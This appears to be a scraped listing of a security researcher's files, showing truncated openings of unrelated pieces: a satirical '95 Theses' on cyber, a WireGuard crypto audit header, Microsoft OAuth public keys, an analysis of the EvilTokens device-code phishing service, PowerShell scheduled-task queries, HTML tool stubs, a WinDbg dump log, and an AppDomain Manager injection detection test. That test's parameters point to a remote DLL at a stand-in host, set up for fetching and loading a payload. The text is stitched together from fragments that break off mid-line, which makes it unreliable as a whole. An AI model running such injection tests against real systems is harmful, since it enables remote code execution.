Casey secdev02

The 95 Theses on the State of Cyber

Out of love for the truth and the desire to bring it to light, the following propositions will be discussed. Wherefore we request that those who are unable to be present and debate orally with us will do so by letter.

I. On Passwords & Authentication

A password is not a secret if it has been reused.
The password "123456" is not a password. It is a confession.

WireGuard ECC & Encryption Deep Audit

Scope: crypto/zinc/curve25519/, crypto/zinc/poly1305/, crypto/zinc/chacha20poly1305.c, noise.c
Focus: Curve parameter injection (CurveBall class), field arithmetic, key validation, AEAD correctness
Date: 2026-06-23

Executive Summary

Microsoft OAuth Public Keys (Decimal BigInteger Format)

Fetched live from https://login.microsoftonline.com/common/discovery/v2.0/keys on 2026-05-12.

All keys are RSA. The public exponent e is 65537 for every key. The kid (Key ID) in a JWT header identifies which key was used to sign the token. Microsoft rotates these keys periodically.

Key 1 — `zcJq3XuQ6XxgyTS0C4fyiIMyk1E`

Is EvilTokens a Watershed Moment?

Short answer: A meaningful inflection point, but probably not a true watershed. EvilTokens consolidates several existing techniques into the first commodified, AI-end-to-end device code phishing service — significant, but the underlying attack and its mitigations are not new.

Sources

Microsoft Security Blog — Inside an AI-enabled device code phishing campaign (April 6, 2026)
Huntress — Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure (March 20, 2026; updated March 23)
Sekoia — New widespread EvilTokens kit: device code phishing as-a-service – Part 1 (March 30, 2026)
[Sekoia — EvilTokens: an AI-augmented Phishing-as-a-Service fo

Get-ScheduledTask | Where-Object {$_.Actions.Execute -like 'cmd.exe'} | Select-Object TaskName, TaskPath, State

Get-ScheduledTask | ForEach-Object {
    $task = $_
    $_.Actions | Where-Object {$_.Execute -like '*cmd.exe*'} | ForEach-Object {
        [PSCustomObject]@{
            TaskName = $task.TaskName
            TaskPath = $task.TaskPath
 State = $task.State

	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>OTP Substitution Cipher</title>
	<style>
	, ::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

	:root {

	<!DOCTYPE html>

	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Lateral Movement Modeler</title>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/7.8.5/d3.min.js"></script>
	<style>
	@import url('https://fonts.googleapis.com/css2?family=Google+Sans:wght@400;500;700&family=Google+Sans+Mono&display=swap');

	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Physics Construct</title>
	<style>
	@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Orbitron:wght@400;700;900&display=swap');

	:root {

	# AppDomain Manager Injection Detection Tests
	# This script tests three methods of AppDomain Manager injection

	param(
	[string]$TestExecutable = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",
	[string]$RemoteServer = "http://yourserver.com/tasks.dll",
	[string]$Base64RemoteDll = ""
	)

	$ErrorActionPreference = "Stop"

	Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
	Copyright (c) Microsoft Corporation. All rights reserved.

	Loading Dump File [C:\dumps\regret.dmp]
	User Mini Dump File: Only registers, stack and portions of memory are available

	Symbol search path is: SRVc:\symbolshttp://msdl.microsoft.com/download/symbols
	Executable search path is:
	Windows XP Version 2600 (Service Pack 2) MP (2 procs) Free x86 compatible
	Product: WinNt, suite: SingleUserTS